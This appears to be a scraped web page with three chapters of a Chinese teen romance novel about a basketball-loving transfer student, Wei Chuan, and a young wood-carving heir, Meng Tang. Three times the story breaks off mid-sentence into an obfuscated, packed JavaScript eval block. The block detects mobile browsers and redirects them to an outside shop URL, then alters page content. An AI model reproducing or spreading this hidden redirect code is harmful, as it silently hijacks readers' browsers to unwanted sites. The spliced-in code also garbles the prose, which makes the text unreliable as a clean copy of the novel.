就是拿在手里怕摔,他又在文创店买了个盒子,将笔装了进去。 邵一鸣看笑了:“刚才问你还装模作样,你是不是知道这是孟棠雕刻的?” “真不知道。”魏川解释得很心虚,“是因为她有一支一样的笔,我觉得好看,就想着去答一下题。” “哦。”邵一鸣看破不戳破。 魏川十几年的人生里还没对哪个女生这么在意过。 他以前的关注力都在篮球上,像个不懂爱情的傻帽。 没想到来一趟雁清开窍了。 从非遗馆出来,魏川都还处于震惊中。 他又莫名想起了那双手…… “今天中午吃什么?”邵一鸣问。 魏川没回,邵一鸣“啧”了声:“魏川,问你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17062795|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话呢。” 魏川终于回神:“啊?” “……中午吃什么?” “你们要吃什么?”魏川扫视一圈,“去附近找个好一点的餐厅?” “行,吃完兄弟们就走了。” 魏川对雁清也不熟,不过可以在手机上搜搜看。 附近就有几个评价还不错的餐厅,魏川和邵一鸣几个人商量了一下,采取了就近原则。 刚到门口,碰到了孟棠。 魏川和她打了招呼,语气略有茫然:“你一个人来吃饭?” 孟棠点了点头。 “正好,我们也要吃。”邵一鸣热情地叫她一起。 孟棠摇摇头:“谢谢,不用了。” “其实是我们不懂雁清的菜。”邵一鸣见魏川要让道,赶紧插话,“看了半天都不知道怎么点,看到你感觉看到了救命稻草。” 孟棠:“……” 好夸张。 魏川朝她笑了笑,笑容还挺真诚。 孟棠说:“让服务员直接给你们上六人套餐就行。” 说着,她独自在大厅找了张桌子坐下。 而服务员也将他们五个人领到了一楼的包间,那里面是圆桌,可以坐十来个人。 他们还真听了孟棠的话,让服务员直接上六人套餐。 眼见邵一鸣还朝外头看,孔长风笑了声:“鸣子,你不会看上人家了吧?” 几道视线齐齐刷向他,右边的目光尤为灼热,是魏川。 “都看着**什么,是他自己一个劲地献殷勤。” “傻缺。”邵一鸣白了他一眼,“我那是为我自己献殷勤的吗?活该你这辈子都谈不到女朋友。” “大哥,我才17,怎么就一辈子了?” 周羽书失笑:“你还是闭嘴吧,不过刚才孟棠让川哥上六人套餐,我确实想笑来着,我没想到她会给出这样的回答。” “要是别人也不太会拒绝,她倒好,看着柔柔弱弱,拒绝得干脆利落。”邵一鸣说。 魏川敲了下桌子:“你们吃完饭就走?” 邵一鸣看了眼手机,说:“从这里到车站要一个小时,确实吃完就得走。” 魏川沉默了一瞬,说:“下次不要过来了,我放假会回z市,到时候跟你们说。” 不然每次过来就是一群人,浩浩荡荡的,还不如他一个人回去方便一点。 “那这个星期怎么没回去?”高远问。 魏川说:“对这里还不熟,就想着到处转转,昨天我就去体育馆了,而且也不太想回去。” 邵一鸣点了点头:“行,那我们就在z市等你。” 高远说:“我希望在球场上等到你。” 魏川看着他,说:“会的。” 高远:“一言为定。” 这顿饭吃得略微有些伤感,吃完又聊了半个多小时,魏川才起身带着他们离开。 路过大厅,他余光瞄了眼孟棠之前的位置,那里已经空了,想来已经吃完走了。 来到路边,魏川打了车,他刚要坐上去,被邵一鸣拦了下来:“我们一群人还要你送?” “送你们到车站而已。”魏川说,“反正我也没事做。” 邵一鸣清了清嗓子,靠近他小声说:“我刚才看到孟棠的帆布包上挂着一个蓝色的工作证,是非遗馆的,可能在那儿当志愿者。” 愣了半晌,魏川眼神乱窜:“关我什么事?” “没说关你的事,我只是看你对木雕有点兴趣,提了一嘴罢了。” 邵一鸣催促其他人上车,自己拍了拍魏川的肩膀:“兄弟,加油。” 魏川总觉得他一语双关,斜了他一眼:“你是不是有别的意思?” “绝对没有。”邵一鸣朝他挥挥手,“行了,我们走了。” 魏川站在原地挥了挥手,等出租车走了,才转身要离开。 刚走两步,他猛地顿住。 回头看了眼非遗文化馆,他又掉了头,穿过了马路。 这次他不打算瞎逛,直接问了工作人员:“您好,请问你们这里有个叫孟棠的志愿者吗?” “还真有,不过不是志愿者,人家是正儿八经的非遗传承人,很厉害的一个小姑娘,来这里技艺输出的。” “请问她在哪儿?” 工作人员当即给他指了位置。 第363章 【if线 8】甜品 孟棠在非遗馆东侧二层,就在展区和文创区的衔接处。 之前这里围着一堆人,魏川懒得挤,直接越过去了,没想到孟棠就在这里坐着。 她的面前摆着一个实木长桌,桌上散着各种各样的雕刻工具。 工作台和游客之间被半米宽的过道和横幅阻隔了,孟棠的背后立着一块巨大的展示墙。 墙上是黄杨木雕的核心工序流程图,不用讲解,游客们一看便知。 这个点,游客极少,魏川站到她前面的正中央,他也没出生,想看看她什么时候能发现自己。 孟棠的身侧又加了一盏落地长臂护眼灯,垂在她上头,落下一束暖白的光线,将她整个人笼罩其中,形成了和外部的视觉隔离。 那束灯光下,只有她。 她左手握着木头,右手拿着刻刀,手腕微微沉着,眼神专注而平静。 落刀却沉稳有力,精准无比,不带一丝犹豫。 她徜徉在木雕的世界里,几乎忘了周遭。 魏川看痴了。 “乖乖,功力不弱。” 这时,有位游客被吸引看了会儿,实在没忍住,评论了一句。 “确实不错,年纪轻轻能在这里做活,前途无量啊。”有人跟着附和。 “我还是本地的呢,这哪家的啊?姓甚名谁啊?” “喏,”有人指了指工作台侧面投影,“有简介,姓孟。” “孟遇春的徒弟?”还是有人眼明认了出来。 “不是孙女吗?”魏川下意识问,心里咯噔了下,生怕孟棠真是人家的徒弟而不是孙女,不然这身世也太惨了。 “是孙女,也是徒弟。”一旁的老大爷给他科普,“孟家儿子没出息,败光了家产,留一老一小撑家,老孟看了一批又一批的男孩,结果没一个天赋有他自个儿孙女高的,只能打破规矩,收孙女为徒了。” “女生不能学这个?”魏川有点好奇。 “倒不是不能学,现在也不是以前了,不说从明清发展至今,师徒相授,家族传承的都是男人,就说体力与耐力,女性不如男性,这个是不争的事实,再一个,男女审美整体来说分大小,女性的审美更偏细腻小巧,只能雕刻一些小件,成不了大匠,而孟遇春这人呢,大概也是舍不得孙女吃这份苦的,结果那些男孩没一个有资质的。” 魏川这才了然,他看了眼孟棠,说:“可见老头没收错人,您看着不是挺好的。” “确实争气,据说她已经开脸,我还挺期待的。” “开脸?”魏川又糊涂了,“这是什么意思?” 老大爷十分热心,拉着他说:“这个开脸啊,就是木雕的核心定位,赋予作品神态和灵魂,不管是人还是动物,你光能雕刻出他的形态,雕不出他的神态,这算什么,对吧?” 魏川点了点头:“有道理。” “行了,我们得朝前逛逛了,小伙子,你不走啊?” “您先走吧。”魏川跟老大爷挥手告别,“她是我同学,我等一等。” 孟棠完全沉浸在自己的世界里,魏川也没有一直杵在她跟前,而是在附近逛了逛。 三点左右,他又回来了。 孟棠正好抬头休息,看到他的一刹那吓了一跳,手中刻刀划过她的左手食指。 “你小心点。”魏川被吓了一跳。 孟棠收回刀,看了看他四周,没有发现他朋友的身影。 “他们回去了。”魏川看穿她,“我一个人闲着无聊,过来逛逛,没想到你在这里。” 孟棠点了点头,说:“你都在这里逛一天了,逛完了吧,怎么还不走?” “我等你。”魏川光明正大地说。 “等我?”孟棠心下一紧,等她干什么?他俩很熟吗? “其实我是觉得无聊。”魏川说,“咱俩好歹也是同桌吧,怎么你一副嫌弃我的样子?” 孟棠看着他真诚的眼神,突然什么拒绝的话也说不出口了。 可能在魏川的眼中,无分男女,她是他在雁清的第一个同桌,两人几次交集,在他那里或许已经是朋友了。 他一个人从z市来到雁清,心里肯定会有落差。 孟棠抿了抿唇,说:“我四点结束,你稍微等我一下。” “好。”魏川一喜,爽快地答应,“那我去大门口等你,不打扰你了。” 孟棠点了点头。 魏川出了非遗馆,想找个歇脚的地方,他打开手机软件,附近有个商场。 而且是雁清人流量最多的商场,里面有空调,魏川当即就按照导航走了过去,没想到绕来绕去,绕了十几分钟。 好不容易找到正门进去,他赶紧买了瓶水。 期间邵一鸣发来信息,说他们快到了。 魏川在群里跟他们聊了几句,视线突然被一对小情侣吸引,准确来说,是被女生手中的奶茶所吸引。 孟棠应该喝吧? 魏川起身,往商场里头走去,看到一家奶茶店,挨着甜品店。 不知道孟棠的口味,但卖的最好的一款肯定是受欢迎的,他点了杯,又给自己点了杯柠檬水。 奶茶都有了,甜品自然也要买。 孟棠忙一下午,体力都耗尽了,吃点甜的补充一下体力。 魏川买了焦糖杏仁拿铁蛋糕,买完一看,时间也差不多了,走回去还得十几分钟。 他拎着东西原路返回,到非遗馆门口的时候,游客们已经陆续往外撤了。 四点左右,孟棠还没出来,魏川拿出手机给她发了条信息,结果孟棠没回。 魏川想起来她不爱看短信,赶紧又给她拨了通电话,还没打通,肩膀被人拍了下。 一回眸,孟棠歪着头看他。 “你出来了?”魏川笑了声,“我还以为你还在里面,刚要给你打电话。” 孟棠其实看到他的信息了,想着已经到跟前了,就没回复。 “给。”魏川将买的奶茶和甜品塞到她怀中,“饿吗?垫个肚子。” 孟棠一愣:“给我的?” 魏川扬了下自己手中的柠檬水:“不然呢,我有了。” 孟棠确实有些饿,她掏出手机:“多少钱,转给你。” 魏川停住脚步:“你到底在跟我客气什么?” “不应该客气吗?”孟棠眨巴着眼睛看他,“同学也要给钱啊。” “不用给,人家看我帅送给我的。”魏川一本正经地胡说八道,却唬住了孟棠。 她见过帅气的男生,收过各种各样的零食和礼物。 “走啊,你怎么过来的?” 天气有些热,蛋糕上的奶油有融化的迹象,孟棠指了指不远处的公交车:“先去那儿吧,我有点饿。” “那赶紧走吧,坐下再吃。”魏川长腿迈开,三两步来到路边的公交站台。 坐下后,她打开蛋糕盒子,说:“好大一块,分你一半吧。” “我不吃。”魏川摇摇头,“你吃吧,吃不完就算。” 孟棠看了眼手机,115路公交车还得二十分钟才到这里,她瞥了眼魏川,抽出蛋糕盒里的一次性甜品勺。 孟棠这人很实诚,魏川说不吃,她也就没跟他客气。 魏川见她捧着蛋糕盒,拿过她的奶茶:“给你拆开。” “谢谢。”孟棠鼓着腮帮子看了他一眼。 魏川给她插上吸管,问:“这么饿吗?” 孟棠说:“每次木雕后,我要吃点东西,算是缓解。” “缓解什么?” “手臂很酸很疼,”孟棠说,“而且长时间集中注意力,放松后会有补偿性的需求,吃东西就是最直接的一种方式。” 魏川往她那边挪了挪,说:“我看你什么都吃,也没见你胖,看来这个手艺活也挺累人的。” 孟棠:“……” 这跟手艺活没关系,跟体质有关系,她就是干吃不胖的类型。 还有过劳肥呢。 蛋糕吃了一半,孟棠吃不完了,她将盒子盖好,放进袋子里,说:“公交车快来了,走吧。” 魏川跟着她起身:“几站到家?” 孟棠说:“你五站,我六站。” 魏川打开包翻了下,说:“我没硬币。” “我有。”孟棠从零钱包里掏出四个硬币,余光一直落在他敞开的包里。 魏川顺着她的视线垂眸,从包里拿出木盒,说:“我在文创区买的。” 公交车从远处驶来,孟棠点了点头。 魏川还以为她会问盒子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“师傅,后门开一下,我们坐错车了。”魏川喊了声。 司机可能也不想惹麻烦,把后门打开了。 男子手脚并用不想下,结果被魏川轻而易举拎了下去,看得其他人瞪圆了眼睛,这力气……不揉面可惜了。 孟棠也只好跟着他下了车。 男子知道自己打不过魏川,开玩笑,都快190了,浑身肌肉紧绷起来梆硬。 他刚才不过是仗着车上人多而已。 “今天不道歉就别想走了。”魏川嘴里威胁着。 孟棠从包里拿出刻刀,附和了句:“对。” 魏川被吓了一个激灵,比他更怕的是被他钳制的男子,他见刀口锋利,腿脚软了下,立马求饶:“我错了我错了,我不该**,态度还那么横。” 孟棠看着他,收起了刻刀,说:“再做这种缺德事,小心有人真有人给你捅了。” “不会不会。” 男子使劲推开魏川的手,连滚带爬地跑了。 魏川愣在原地半晌,才指了指她的包:“你随身携带刻刀?” 不会被自己吓坏了吧,孟棠朝他笑了笑:“我需要用,当然带着了。” 其实不然,她没爸没妈,总有人想要欺负她,她就会拿出来防身。 “你这动作太熟练了。”魏川说,“感觉是专门用来防身的。” 孟棠对路边的出租车招了招手,转移话题:“走吧,下一辆公交车要半个小时呢。” 魏川一天被孟棠惊到两次,第一次是因为木雕作品而惊艳,第二次是因为刻刀防身而惊愕。 魏川迷迷糊糊跟着孟棠上了车,司机问了地址后,孟棠先说了魏川的小区名。 孟棠偏头看了眼魏川,发现他一直盯着自己,不自在地清了清嗓子:“一直看**什么?” 司机开了句玩笑:“喜欢你呗。” 车厢顿时陷入诡异的寂静里,魏川脑子一轴,对孟棠说:“我告诉你啊,下次车门不能带刀,你这也太危险了。” 这下轮到司机安静了,啥意思?坐车还带刀? 第364章 【if线 9】周飞 两个人默契地无视了司机的话,司机小心翼翼瞥了眼后视镜,和孟棠对上了视线。 “你们要干什么?”司机的语气听着有些紧绷。 “师傅你别怕。”魏川攀住前头的座椅,“我们没有恶意,你该开车开车。” 师傅:“……你、你多高啊?” “不到190。”魏川说,“你问这个干什么?” 孟棠失笑:“可能在衡量能不能打得过你吧。” 司机见孟棠有心思说笑,松了口气,不过还是不放心,问了一嘴:“不是,你俩真的带刀出行?” “师傅,我去非遗馆帮忙做木雕的活,带的是刻刀,放心吧。”孟棠解释了遍。 司机彻底放松下来,非遗馆有青少年板块,孟棠这么大的小孩去做木雕的活也不稀奇。 出租车比公交车快多了,十几分钟就到了魏川居住的小区门口。 孟棠没有下车,和他挥了挥手:“今天谢谢你的蛋糕。” “不客气。”魏川见她眉眼间疲累不已,挥了挥手,“回去休息吧。” 孟棠回到家后,遇到了串门回来的孟遇春。 见她手上拎着蛋糕和奶茶,半点不稀奇,孟棠每次忙完,喜欢吃点东西。 “今天怎么吃这些了?我还以为你要走老街吃口馄饨才回。” “魏川买的。”孟棠说,“不吃浪费。” 孟遇春脚步一顿:“你遇见那小子了?” 孟棠点了点头:“他带他朋友去玩,正好碰到了我,就一起回了。” “那你还吃不吃了?”孟遇春问。 孟棠说:“我先去洗澡,让方姐给我留一点,我待会儿再吃。” 孟遇春将孟棠的话转达给厨房忙活的方姐,方姐笑道:“行,那咱俩先吃,待会儿我给她端过去,估计累着呢。” 孟遇春哼了声:“雕那么个小件就累了。” “那行吧,您不心疼,我也不送了。”方姐有的是办法治这老头。 孟遇春果然“嘿”了声:“该送还是得送。” 孟棠洗完澡,换了身睡衣才觉得舒服。 方姐的时间掐得很准,她刚坐下,房门就被敲响了。 孟棠开了门,方姐笑着将木质托盘放到桌上:“今晚做了你爱吃的。” 孟棠揭开罩子看了眼,一份牛油果虾仁沙拉,一份全家福炒饭,还有一例铁皮石斛冻饮和白玉糕。 份量很少,她一个人吃正正好。 孟棠道了声谢,一个人趴在桌上慢慢吃了起来。 她吃饭的时候也不玩手机,目光放空,感觉吃东西都很机械,其实只是累了。 明早还得早起,孟棠吃完后,本打算自己收拾碗筷,结果方姐比她更快,直接从她手中夺走了。 “到底在跟我客气什么,明早还要上学,早点睡。” 孟棠在门口多站了会儿,随后才转回房间睡觉。 第二天到学校的时候,还没进教室,明显感觉到整个楼层都有些浮躁。 孟棠进了教室,一眼看到了前面最角落里崭新的立式空调。 她惊愕地看了好一会儿,正好和收作业的语文课代表对上视线,顺嘴问了句:“空调是怎么回事啊?” “班主任说是有人给学校捐了一批空调。” “全校都有?”孟棠有些震惊。 “嗯。”课代表点了点头,“不止呢,听说我们学校马上就要来一次大改造。” “梁老师之前没说啊,空调买了倒是简单,空调费用是一笔很大的开支,学校也舍得?” “既然买了,肯定就舍得。” 孟棠将作业给了她,看了眼关闭的空调,舍得怎么不开啊?难道还要来一个开机仪式吗? 孟棠在心里腹诽完,魏川吊儿郎当进了教室,他戴着鸭舌帽,遮住了半张脸,一件白T外套着一件蓝色的短袖格子衬衫,下面是**牛仔裤和一双白色的球鞋。 这身打扮很平常,但和教室里穿着校服的人呢格格不入。 第一个礼拜,梁老师给他拿了校服,结果人家穿着不舒服,后脖颈起了好多的红疹。 学校赶紧给他重新定制了,但定制需要时间,校服至今没来。 当然,这个钱,是他自己出。 班里几乎所有的女生,目光全都投向了他。 魏川无知无觉,到了座位后,给孟棠说了声“早安”。 随后,他将帽子拿下扔进桌肚。 看着无精打采的,孟棠问:“你没吃饭?” “吃了。”魏川眼神放空,“我这是被热的,怎么早上也这么热?” 孟棠指了指讲台旁边:“你看那是什么?” 魏川抬眸,眼睛一下亮了:“靠,终于装起来了。” 说着,他起身去找遥控器。 讲台就那么大点,结果上面没有,魏川又去到空调跟前,结果发现插头还没插上去。 他直接拿起插头,对着插孔怼进去,空调亮灯的那一刻,全班人眼睛都亮了。 “谁看见遥控器了?”魏川回头问了句。 “应该在梁老师那儿。”班长指了指门口,示意魏川应该在办公室。 “我真服了,难不成要整个开机仪式啊?”魏川叹了声气,“你们这些先来的人为什么不开啊?” “我可不信王大头能那么好心,不会是个陷阱吧?” 王大头是校长,抠搜一人。 梁璐进了教室,手里拿着遥控器,她一来,所有学生全都自觉坐回了位置,除了魏川。 梁璐把空调给魏川:“开吧。” 魏川这才高兴点。 他从小就怕热,在z市没冷过,也没热过,乍然来到雁清,实在有些不习惯。 魏川开了空调后,全班响起了热烈的掌声。 “我靠,有必要吗?”魏川吓了一跳。 梁璐“啧”了声:“好了,空调开了,但也要注意通风,这件事交给卫生委员来盯着。” 卫生委员一口答应。 魏川回到位置上,终于舒服地松了口气。 高二17班度过了一个愉快的上午,中午吃饭的时候,很多人都不愿意出门。 魏川和孟棠是走读的,中午可以回家吃。 不过这两天天气热,孟棠都是在外头随意吃一口。 外头的小餐馆里最起码有空调,孟棠刚坐下,身边压下一道阴影:“这里有没有人?” 孟棠摇了摇头。 周飞笑了声,在她旁边坐下。 “你这周末去了非遗馆吗?” 孟棠点了点头。 “不好意思,我这周家里有事,没去非遗馆当志愿者。”周飞点了两瓶汽水,推给孟棠一瓶,“给你赔罪。” 孟棠摇摇头:“我喝不惯这个,你自己喝吧。” 周飞瞥了眼她:“你生气了?” 孟棠一脸懵:“我为什么生气?” 周飞说:“咱俩不是说好的吗?” 孟棠:“……” 原来只是一句“孟棠,我这礼拜去非遗馆当志愿者”就是两人约好了? 孟棠的面好了,她默默接过,埋头吃饭。 魏川路过小餐馆,瞥了眼,发现了孟棠和周飞。 他一个急刹拐了弯,下车的工夫顺道给阿姨打了个电话,说自己中午不回去了。 推开小餐馆的门,霸道的冷气席卷全身。 孟棠和周飞的桌子没有其他人坐,魏川毫不客气地在孟棠对面坐下:“同学,拼个桌。” 孟棠听到这熟悉的声音,抬起了头:“你中午不回去吃饭?” 魏川摇摇头:“太热了。” 也是,孟棠见他额头上有汗,从口袋里掏出湿纸巾递了过去。 魏川接过,不经意地瞥了眼周飞,发现他也盯着自己。 “你也要?”魏川将湿纸巾递给周飞,周飞摇了摇头。 魏川看了眼墙上的菜单,随意点了一个。 周飞这才意识到自己也没点呢,赶紧也点了一份和孟棠一样的。 周飞,魏川还真知道,毕竟已经来17班一个星期了,两人还打过一场球。 不过技术不行,魏川不大乐意跟他玩,总觉得这人说话不太真诚,但是装真诚。 魏川问孟棠:“你这什么面,好吃吗?” “三鲜的,还行吧。”孟棠说,“肯定没有家里做的好吃。” 两份面很快送送上,魏川看了眼,觉得不好吃,结果尝了下,还行。 周飞的注意力似乎转移了,他看着魏川,忽然问:“你为什么来雁清啊,你的气质看着不普通。” 魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17072918|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川笑了声:“你们真的不知道我为什么会来雁清上学?这事我也没瞒着啊,只怕早传遍了吧?” 周飞笑得有些尴尬,他顺嘴问一句,没想到这个魏川丝毫不给面子。 孟棠知道周飞有点不得劲了,对魏川说:“学校的空调是你家赞助的?” 周飞猛地抬头:“不可能吧?” 孟棠说:“我就是猜测。” 魏川觉得她神了,笑了声:“你怎么猜出来的?” “不是你自己进教室说的吗?”孟棠说,“是你自己说终于装起来了,说明你知道要装。” 魏川失笑:“原来是这样露了馅。” “全校的所有教室,你家都捐了?”周飞显然不可置信。 魏川点了点头:“可能我在这里无依无靠,我爸怕吧。” 孟棠:“……” 真能瞎扯。 周飞嘴角一抽,真是朴素的爸爸。 他三两口吃完面条,和魏川、孟棠告了别。 等他走了,魏川才问孟棠:“你跟他说这个干什么?” 孟棠一副高深莫测的样子:“放心,他不会往外说的。” 高飞长得很不错,也有不少女生喜欢他,魏川一来,他感受到了危机和差距。 给魏川添加好感的事情,他必然不会去做。 魏川似乎也看穿了周飞的为人,笑了声:“他是体委,谁选的?” 孟棠说:“梁老师。” “还好,要是体育老师选的,我真得吐槽了。”魏川嘴巴像抹了毒。 吃完饭,两人从餐馆出来。 正好到学校大门口有一排大树可以挡点太阳,魏川嘴巴闲不住,问孟棠:“你中午都不回去吗?” “看心情。”孟棠说,“方姐希望我回去,她觉得外面的饭菜不干净。” “我家阿姨也不让我在外面吃。”魏川抬手够了片叶子,“其实咱俩离得挺近的,以后可以一起走,或者,你坐我车。” 孟棠:“……” 他是真不怕引起轰动啊。 “我自己有自行车。”孟棠嘀咕了声,“不用你带。” 魏川笑了下,不经意地问了句:“你跟周飞关系很好?” 孟棠不知道什么样的关系能够定义很好,想了想,说:“他总是去博物馆、非遗馆之类的地方当志愿者。” 魏川点了点头:“你俩约好的?” “没有约好。”孟棠摇摇头,“我第一次在非遗馆见到他也很惊讶,好像他家里有人在馆内工作。” 魏川说:“他跟你前同桌关系很好。” 钟文进吗?孟棠想了想,说:“他俩住在一个小区。” “看不出来你平时挺闷的一个人,对他们倒是很清楚。” “我也是听别人说的。” 班里不缺乏八卦的人,她平日躲在自己座位上做自己的事,她是不参与,但不代表耳朵聋。 钟文进还总爱跟前头说话,她不想听都不行。 进了大门,没了树荫的遮挡,太阳一下刺挠起来。 魏川瞥了眼在阳光下,皮肤近乎透明的人,说:“其实你出来可以戴顶帽子。” 这个魏川的话真多啊,孟棠礼貌一笑:“忘了带。” 好不容易进了楼道,魏川松了口气,三楼不上不下的也轻松。 上了三楼,发现每个教室挤满了人。 魏川推开教室的门,问了句:“什么情况?” “两天时间,师傅就装好了三楼一半教室的空调,他们过来蹭空调的。” 其他班的人还喊着不公平,怎么不从一楼和五楼开始,单单从三楼开始呢? 孟棠瞥了眼魏川,还不是因为这个大少爷。 大少爷惬意地打开水杯喝了口水,结果一不小心弄湿了书包。 他赶紧拿出来擦了下,一个没注意,包里的木盒子摔到地上,开了。 孟棠被这动静吸引了注意力,魏川生怕跌坏了,连忙捡起来。 左看右看,完好如初,他又特意在纸上划了下,依旧出水,线条流畅有力。 孟棠一愣:“你这笔哪儿来的?” “你问这个?”魏川故意举起来,“跟你那支一模一样的笔?” 孟棠点了点头:“难道是馆里得来的?那些问题你都会?” 第365章 【if线 10】跑什么 魏川当然不会,他摇摇头:“不会,我看这支笔跟你的一模一样,觉得好看,去试了试,没过关。” 孟棠失笑:“其实有题库的,你直接过去,胜算当然不大。” 魏川顿了下:“也就是说,人家都是准备好过去的?” 孟棠点了点头:“你既然没过,这支笔怎么来的?” “买的。”魏川实话实说。 “买了多少?”孟棠莫名有种不祥的预感。 魏川伸出五指:“五百。” “……” 见她不说话,魏川直觉自己买贵了,果然,反应过来的孟棠当即说:“贵了。” 魏川却道:“我觉得不贵。” 孟棠:“……” 买都买了,再说贵也没什么意思,孟棠收拾了下,说:“我去画室了。” 魏川起身,给她让了道儿。 下午有体育课,魏川怀揣着心思,找到了体育组的组长,也是16和17两个班的体育老师——周沉。 看到魏川,他愣了下,直觉有事找他。 “周老师,听说您以前是篮球队的教练?”魏川也没拐弯抹角,直接道明来意。 周沉挑了下眉:“你想说什么?” 魏川的身份,他当然知道,他没来之前,他就在各大赛事中见过他。 有的是在电视上,有的是在现场。 上次他跟体育生打篮球,他就在一旁看了会儿,确实是不可多得的好苗子。 “周老师,您认识我吗?”魏川先试探了句。 周沉点了点头:“认识。” “您看过我比赛?” “对。” “那您一定知道我为什么会来雁清吧?”魏川当即觉得自己找到了知音,“我有件事想要找您谈谈。” “免谈。”周沉似乎知道他要说什么,直接拒绝了他。 “不能免谈。”魏川拦住周沉的去路,“当年球队解散,难道不是你的遗憾吗?” 周沉眉眼微动,当年他带领雁清中学第一次夺得市内冠军,一路闯入省赛区十六强。 这已经是雁清建校以来最好的成绩了,就在这支草根球队越打越勇时,却被取消了资格。 原因是其中的核心球员存在学籍违规问题,这倒不是别人陷害,是真实存在的客观漏洞。 总之事情一言难尽,他也只能看着成绩被取消。 后来两名核心球员被挖墙脚去了z市,结果几年过去,一直都在坐冷板凳。 成绩抹杀可以再来,核心球员没了就没人了,雁清中学本来就没几个会打篮球的。 处罚通知下发后,校方为了学校声誉,暂停了一切篮球队的活动,最后更是直接解散了队伍。 周沉当然不甘心,但他不认为凭着魏川一个人就可以去夺冠。 “人生总归有点遗憾。”周沉平静地看着他,“你也要学会接受命运的安排。” “我为什么要接受命运的安排?”魏川一身反骨,“他们以为我到雁清就打不了球了,我为什么要让那些人如愿?其他的一切都不是问题,我需要的是人。” 周沉说:“我知道你家有钱,也知道你能搞定其他的比如场地经费的问题,可我恰恰缺的也是人。” “那我来找人,您可以帮我和学校对接吗?再做一回篮球队的教练。” 教练这个事,魏立峰给了他明确的答复,不好找。 也是,人家在顶尖球队待得好好的,谁愿意来这个破地方。 魏川当即想到自己之前让魏立峰调查的关于雁清中学篮球队解散的事情,发现了周沉这么一号人物。 他是野路子,优点很多,实战适用性很强。 魏川翻出当年的比赛视频,越看越兴奋,当即决定要让周沉当雁清中学篮球队的教练。 他期盼地看着周沉,结果对方还是一言不发。 魏川也倔强地看着他,似乎不达目的,决不罢休。 周沉叹了声气:“1v1,你要是赢了,我就跟你去和校长交涉这件事。” “来。”魏川丝毫不带怕的。 “现在没空,我还有课,六点半,就在这里等我。” 六点到六点半是晚饭时间,正好够魏川吃个饭,他当即就答应下来。 人多的地方没有秘密,魏川要和周沉1v1的事像长了翅膀飞遍了全校。 孟棠刚啃完面包,拿着酸奶喝了没两口,被梁菲菲一把拉住了手腕。 “你干嘛?”孟棠险些把酸奶洒了。 “走,去操场。”梁菲菲把背包给她,“赶紧的。” “我要回教室做卷子呢。”孟棠背上书包,踉踉跄跄跟她走了,“去操场干嘛?你又要减肥啊?” “我减什么肥啊,跑了一学期也没见瘦下去,是魏川和周老师1v1。” “1v1?”孟棠有些惊讶,“他为什么跟周老师对上了?” “去看看不就知道了。”梁菲菲情绪高涨,“近距离看还是不一样的。” 孟棠就这么被她拉到了操场。 她们到的时候,已经围了不少人,梁菲菲这个社牛,一路过五关斩六将,有些男生见她俩是女生,给让了位置出来。 刚站定,魏川就朝周沉友好地笑了声:“周老师,别忘了答应我的事。” 周沉哼笑:“这么自信?” 魏川的身体稍稍压低,摆出了防守的姿态,他的脊背绷得笔直,一件薄薄的T恤,竟被绷起一道完美的线条弧度,像蓄势待发的猎豹。 “好帅啊。” 还没打呢,有些女生已经捂嘴跺脚了。 周沉率先开球,他虽然知道魏川,也看过他的比赛,但两人没有交过手。 第一轮就得试探,没有急着突破,而是慢悠悠地运球绕着三分线游走。 魏川紧紧盯着他的脚步,不敢有丝毫松懈。 周沉能带领一支草根球队,一路杀进省内前几,可想而知实力是不弱的。 而小看对手是大忌,魏川从不在球场上犯这种低级错误。 两番试探之后,周沉脚步一转,重心偏左,魏川下意识阻拦,心里猜测是假动作,却还是没拦住。 周沉迅速变向后,一步跨进罚球线,抬手就是一记稳准的擦板球。 围观的男生起哄声响彻操场,周沉挑眉看向魏川,魏川朝他竖起大拇指。 周沉捡起球,抛给了魏川。 魏川接了球,根本没有试探,完全和周沉是相反的路子,看似急于进攻,实则早已沉下心调整了节奏。 他运球的频率极其地快,篮球在指尖翻飞翻出了花。 结果他也学周沉左晃假动作,周沉自然也有准备,而魏川连续两个胯下运球,猛地后撤一步,拉开了距离,一抬手就是三分。 篮球在空中划出一道利落的弧线,精准空心落网。 “漂亮!” 围观的人喊了声,欢呼声随即淹没了正片操场,孟棠甚至有一瞬间的耳鸣。 周沉在心里腹诽:这小子哪里是走体系派路子的人,明明野得很,还爱挑衅,故意学他的动作。 魏川朝周沉挑了挑眉,周沉脸上嫌弃,实则心里喜欢得很,他就喜欢这样的学生。 不过一个回合,他竟然生出久违的开心情绪。 周沉笑了笑:“来,继续。” 魏川等的就是这句话,周沉凭借丰富的经验稳扎稳打,利用背身单打和精准的中距离投篮再得两球。 而魏川也逐渐摸清了周沉的节奏,防守时贴得更紧,预判他的突破路线也更准确,进攻时完全靠速度和爆发力撕开防线。 周沉心里都佩服这小子的速度和爆发力,太强了,还得是年轻人。 轮到魏川进攻了,他运球直冲篮下,周沉快步回防,跃起准备封盖。 